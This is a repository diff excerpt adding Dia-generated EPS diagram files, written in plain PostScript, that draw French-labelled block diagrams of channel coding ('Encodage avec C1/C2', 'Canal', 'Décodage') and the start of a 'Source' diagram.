/Times-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Book-latin1 |
|||
/AvantGarde-Book findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-BookOblique-latin1 |
|||
/AvantGarde-BookOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Demi-latin1 |
|||
/AvantGarde-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-DemiOblique-latin1 |
|||
/AvantGarde-DemiOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Light-latin1 |
|||
/Bookman-Light findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-LightItalic-latin1 |
|||
/Bookman-LightItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Demi-latin1 |
|||
/Bookman-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-DemiItalic-latin1 |
|||
/Bookman-DemiItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-latin1 |
|||
/Courier findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Oblique-latin1 |
|||
/Courier-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Bold-latin1 |
|||
/Courier-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-BoldOblique-latin1 |
|||
/Courier-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-latin1 |
|||
/Helvetica findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Oblique-latin1 |
|||
/Helvetica-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Bold-latin1 |
|||
/Helvetica-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-BoldOblique-latin1 |
|||
/Helvetica-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-latin1 |
|||
/Helvetica-Narrow findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Oblique-latin1 |
|||
/Helvetica-Narrow-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Bold-latin1 |
|||
/Helvetica-Narrow-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-BoldOblique-latin1 |
|||
/Helvetica-Narrow-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Roman-latin1 |
|||
/NewCenturySchoolbook-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Italic-latin1 |
|||
/NewCenturySchoolbook-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Bold-latin1 |
|||
/NewCenturySchoolbook-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-BoldItalic-latin1 |
|||
/NewCenturySchoolbook-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Roman-latin1 |
|||
/Palatino-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Italic-latin1 |
|||
/Palatino-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Bold-latin1 |
|||
/Palatino-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-BoldItalic-latin1 |
|||
/Palatino-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Symbol-latin1 |
|||
/Symbol findfont |
|||
definefont pop |
|||
/ZapfChancery-MediumItalic-latin1 |
|||
/ZapfChancery-MediumItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/ZapfDingbats-latin1 |
|||
/ZapfDingbats findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
28.346000 -28.346000 scale |
|||
-7.332500 -18.025000 translate |
|||
%%EndProlog |
|||
|
|||
|
|||
1.000000 1.000000 1.000000 srgb |
|||
n 10.000000 10.000000 m 10.000000 13.000000 l 15.000000 13.000000 l 15.000000 10.000000 l f |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 10.000000 10.000000 m 10.000000 13.000000 l 15.000000 13.000000 l 15.000000 10.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Encodage) dup sw 2 div 12.500000 ex sub 11.175000 m gs 1 -1 sc sh gr |
|||
(avec C1) dup sw 2 div 12.500000 ex sub 11.975000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 18.000000 10.000000 m 18.000000 13.000000 l 23.000000 13.000000 l 23.000000 10.000000 l f |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 18.000000 10.000000 m 18.000000 13.000000 l 23.000000 13.000000 l 23.000000 10.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Encodage) dup sw 2 div 20.500000 ex sub 11.175000 m gs 1 -1 sc sh gr |
|||
(avec C2) dup sw 2 div 20.500000 ex sub 11.975000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 26.000000 10.000000 m 26.000000 13.000000 l 31.000000 13.000000 l 31.000000 10.000000 l f |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 26.000000 10.000000 m 26.000000 13.000000 l 31.000000 13.000000 l 31.000000 10.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Canal) dup sw 2 div 28.500000 ex sub 11.575000 m gs 1 -1 sc sh gr |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 15.000000 11.500000 m 17.888197 11.500000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 17.444098 11.750000 m 17.944098 11.500000 l 17.444098 11.250000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 23.000000 11.500000 m 25.888197 11.500000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 25.444098 11.750000 m 25.944098 11.500000 l 25.444098 11.250000 l s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(C1) dup sw 2 div 16.500000 ex sub 11.100000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(C2) dup sw 2 div 24.500000 ex sub 11.100000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(m) dup sw 7.900000 ex sub 11.666250 m gs 1 -1 sc sh gr |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 9.888197 11.500000 m 8.200000 11.500000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 9.444098 11.750000 m 9.944098 11.500000 l 9.444098 11.250000 l s |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 10.000000 15.000000 m 10.000000 18.000000 l 15.000000 18.000000 l 15.000000 15.000000 l f |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 10.000000 15.000000 m 10.000000 18.000000 l 15.000000 18.000000 l 15.000000 15.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Canal) dup sw 2 div 12.500000 ex sub 16.575000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 18.000000 15.000000 m 18.000000 18.000000 l 23.000000 18.000000 l 23.000000 15.000000 l f |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 18.000000 15.000000 m 18.000000 18.000000 l 23.000000 18.000000 l 23.000000 15.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Décodage) dup sw 2 div 20.500000 ex sub 16.175000 m gs 1 -1 sc sh gr |
|||
(avec C2) dup sw 2 div 20.500000 ex sub 16.975000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 26.000000 15.000000 m 26.000000 18.000000 l 31.000000 18.000000 l 31.000000 15.000000 l f |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 26.000000 15.000000 m 26.000000 18.000000 l 31.000000 18.000000 l 31.000000 15.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Décodage) dup sw 2 div 28.500000 ex sub 16.175000 m gs 1 -1 sc sh gr |
|||
(avec C1) dup sw 2 div 28.500000 ex sub 16.975000 m gs 1 -1 sc sh gr |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 15.000000 16.500000 m 17.888197 16.500000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 17.444098 16.750000 m 17.944098 16.500000 l 17.444098 16.250000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 23.000000 16.500000 m 25.888197 16.500000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 25.444098 16.750000 m 25.944098 16.500000 l 25.444098 16.250000 l s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(C2') dup sw 2 div 16.500000 ex sub 16.100000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(C1') dup sw 2 div 24.500000 ex sub 16.100000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(m') dup sw 33.800000 ex sub 16.775000 m gs 1 -1 sc sh gr |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 32.788197 16.500000 m 31.000000 16.500000 l s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 32.344098 16.750000 m 32.844098 16.500000 l 32.344098 16.250000 l s |
|||
showpage |
|||
|
After Width: | Height: | Size: 5.5 KiB |
Binary file not shown.
@ -0,0 +1,404 @@ |
|||
%!PS-Adobe-2.0 EPSF-2.0 |
|||
%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/general1.dia |
|||
%%Creator: Dia v0.95-1 |
|||
%%CreationDate: Sun Dec 3 16:15:43 2006 |
|||
%%For: nicolas.masse |
|||
%%Orientation: Portrait |
|||
%%Magnification: 1.0000 |
|||
%%BoundingBox: 0 0 573 67 |
|||
%%BeginSetup |
|||
%%EndSetup |
|||
%%EndComments |
|||
%%BeginProlog |
|||
[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright |
|||
/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one |
|||
/two /three /four /five /six /seven /eight /nine /colon /semicolon |
|||
/less /equal /greater /question /at /A /B /C /D /E |
|||
/F /G /H /I /J /K /L /M /N /O |
|||
/P /Q /R /S /T /U /V /W /X /Y |
|||
/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c |
|||
/d /e /f /g /h /i /j /k /l /m |
|||
/n /o /p /q /r /s /t /u /v /w |
|||
/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright |
|||
/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior |
|||
/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf |
|||
/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla |
|||
/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde |
|||
/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex |
|||
/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring |
|||
/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis |
|||
/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave |
|||
/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def |
|||
/cp {closepath} bind def |
|||
/c {curveto} bind def |
|||
/f {fill} bind def |
|||
/a {arc} bind def |
|||
/ef {eofill} bind def |
|||
/ex {exch} bind def |
|||
/gr {grestore} bind def |
|||
/gs {gsave} bind def |
|||
/sa {save} bind def |
|||
/rs {restore} bind def |
|||
/l {lineto} bind def |
|||
/m {moveto} bind def |
|||
/rm {rmoveto} bind def |
|||
/n {newpath} bind def |
|||
/s {stroke} bind def |
|||
/sh {show} bind def |
|||
/slc {setlinecap} bind def |
|||
/slj {setlinejoin} bind def |
|||
/slw {setlinewidth} bind def |
|||
/srgb {setrgbcolor} bind def |
|||
/rot {rotate} bind def |
|||
/sc {scale} bind def |
|||
/sd {setdash} bind def |
|||
/ff {findfont} bind def |
|||
/sf {setfont} bind def |
|||
/scf {scalefont} bind def |
|||
/sw {stringwidth pop} bind def |
|||
/tr {translate} bind def |
|||
|
|||
/ellipsedict 8 dict def |
|||
ellipsedict /mtrx matrix put |
|||
/ellipse |
|||
{ ellipsedict begin |
|||
/endangle exch def |
|||
/startangle exch def |
|||
/yrad exch def |
|||
/xrad exch def |
|||
/y exch def |
|||
/x exch def /savematrix mtrx currentmatrix def |
|||
x y tr xrad yrad sc |
|||
0 0 1 startangle endangle arc |
|||
savematrix setmatrix |
|||
end |
|||
} def |
|||
|
|||
/mergeprocs { |
|||
dup length |
|||
3 -1 roll |
|||
dup |
|||
length |
|||
dup |
|||
5 1 roll |
|||
3 -1 roll |
|||
add |
|||
array cvx |
|||
dup |
|||
3 -1 roll |
|||
0 exch |
|||
putinterval |
|||
dup |
|||
4 2 roll |
|||
putinterval |
|||
} bind def |
|||
/Times-Roman-latin1 |
|||
/Times-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Italic-latin1 |
|||
/Times-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Bold-latin1 |
|||
/Times-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-BoldItalic-latin1 |
|||
/Times-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Book-latin1 |
|||
/AvantGarde-Book findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-BookOblique-latin1 |
|||
/AvantGarde-BookOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Demi-latin1 |
|||
/AvantGarde-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-DemiOblique-latin1 |
|||
/AvantGarde-DemiOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Light-latin1 |
|||
/Bookman-Light findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-LightItalic-latin1 |
|||
/Bookman-LightItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Demi-latin1 |
|||
/Bookman-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-DemiItalic-latin1 |
|||
/Bookman-DemiItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-latin1 |
|||
/Courier findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Oblique-latin1 |
|||
/Courier-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Bold-latin1 |
|||
/Courier-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-BoldOblique-latin1 |
|||
/Courier-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-latin1 |
|||
/Helvetica findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Oblique-latin1 |
|||
/Helvetica-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Bold-latin1 |
|||
/Helvetica-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-BoldOblique-latin1 |
|||
/Helvetica-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-latin1 |
|||
/Helvetica-Narrow findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Oblique-latin1 |
|||
/Helvetica-Narrow-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Bold-latin1 |
|||
/Helvetica-Narrow-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-BoldOblique-latin1 |
|||
/Helvetica-Narrow-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Roman-latin1 |
|||
/NewCenturySchoolbook-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Italic-latin1 |
|||
/NewCenturySchoolbook-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Bold-latin1 |
|||
/NewCenturySchoolbook-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-BoldItalic-latin1 |
|||
/NewCenturySchoolbook-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Roman-latin1 |
|||
/Palatino-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Italic-latin1 |
|||
/Palatino-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Bold-latin1 |
|||
/Palatino-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-BoldItalic-latin1 |
|||
/Palatino-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Symbol-latin1 |
|||
/Symbol findfont |
|||
definefont pop |
|||
/ZapfChancery-MediumItalic-latin1 |
|||
/ZapfChancery-MediumItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/ZapfDingbats-latin1 |
|||
/ZapfDingbats findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
28.346000 -28.346000 scale |
|||
-5.950000 -7.300000 translate |
|||
%%EndProlog |
|||
|
|||
|
|||
1.000000 1.000000 1.000000 srgb |
|||
n 6.000000 5.000000 m 6.000000 7.250000 l 13.100000 7.250000 l 13.100000 5.000000 l f |
|||
n 6.000000 5.000000 m 6.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse f |
|||
n 13.100000 5.000000 m 13.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse f |
|||
n 6.000000 5.000000 m 6.000000 7.250000 l 13.100000 7.250000 l 13.100000 5.000000 l f |
|||
n 6.000000 7.250000 m 6.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse f |
|||
n 13.100000 7.250000 m 13.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 6.000000 5.000000 m 13.100000 5.000000 l s |
|||
n 6.000000 7.250000 m 13.100000 7.250000 l s |
|||
n 6.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse s |
|||
n 13.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse s |
|||
n 6.000000 5.000000 m 6.000000 7.250000 l s |
|||
n 13.100000 5.000000 m 13.100000 7.250000 l s |
|||
n 6.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse s |
|||
n 13.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Source) dup sw 2 div 9.550000 ex sub 6.200000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 19.000000 5.000000 m 19.000000 7.250000 l 26.100000 7.250000 l 26.100000 5.000000 l f |
|||
n 19.000000 5.000000 m 19.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse f |
|||
n 26.100000 5.000000 m 26.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse f |
|||
n 19.000000 5.000000 m 19.000000 7.250000 l 26.100000 7.250000 l 26.100000 5.000000 l f |
|||
n 19.000000 7.250000 m 19.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse f |
|||
n 26.100000 7.250000 m 26.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 19.000000 5.000000 m 26.100000 5.000000 l s |
|||
n 19.000000 7.250000 m 26.100000 7.250000 l s |
|||
